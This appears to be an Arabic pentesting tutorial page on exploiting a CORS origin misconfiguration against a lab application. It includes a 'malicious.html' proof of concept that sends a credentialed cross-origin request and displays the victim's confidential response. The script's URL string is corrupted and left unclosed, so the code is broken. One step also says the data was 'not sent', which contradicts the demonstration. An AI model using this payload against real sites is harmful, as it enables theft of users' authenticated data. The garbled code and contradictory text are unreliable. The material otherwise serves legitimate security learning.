> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/cors-origin-pentesting-web.md).

# سوء تهيئة أصل CORS

### مشاركة الموارد عبر الأصل (CORS):

كل هذه المعلومات متاحة على الموقع الإلكتروني:

<figure><img src="/files/aba091b37827dcf6856b5ce19f20b4a6c1494b20" alt="" width="563"><figcaption></figcaption></figure>

نعترضها باستخدام Burp Suite ونلاحظ أن حقلين "**بيانات اعتماد التحكم في الوصول**" و "**origin**" مهيآن بشكل خاطئ في الاستجابة:

<figure><img src="/files/7db030b9d05febf4fd2b5cd0f7002b709722c7be" alt=""><figcaption></figcaption></figure>

نضيف **حقل origin جديد** في الطلب مع رابط صفحة ويب مثل "google.com" ونلاحظ أنه يتم قبوله:

<figure><img src="/files/082919b356ed20784b6931335a11a1cabdc06701" alt=""><figcaption></figcaption></figure>

ننشئ ملف ويب **malicious.html** يستغل الثغرة باستخدام الحقلين origin و credentials:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>لقد تم اختراقك، هذه هي المعلومات التي سرقتها منك</h1></center>
<p id="stolenInfo"></p>

```

مع **بايثون**، ننشئ خادم ويب:

<figure><img src="/files/6b153a7dd903232c1f2f648d04c62155dd4c4421" alt=""><figcaption></figcaption></figure>

نصل إلى موقعنا الإلكتروني والمعلومات السرية لم يتم **إرسالها إلى موقعنا**:

<figure><img src="/files/69b546a6824ff9957713a2c89472c4bc56e872c9" alt=""><figcaption></figcaption></figure>

لو تم إعداد CORS بشكل صحيح، لكنا تلقينا الخطأ أدناه:

<figure><img src="/files/f10c72d27f586b68e24edae7b39ebf3551b15d1c" alt=""><figcaption></figcaption></figure>


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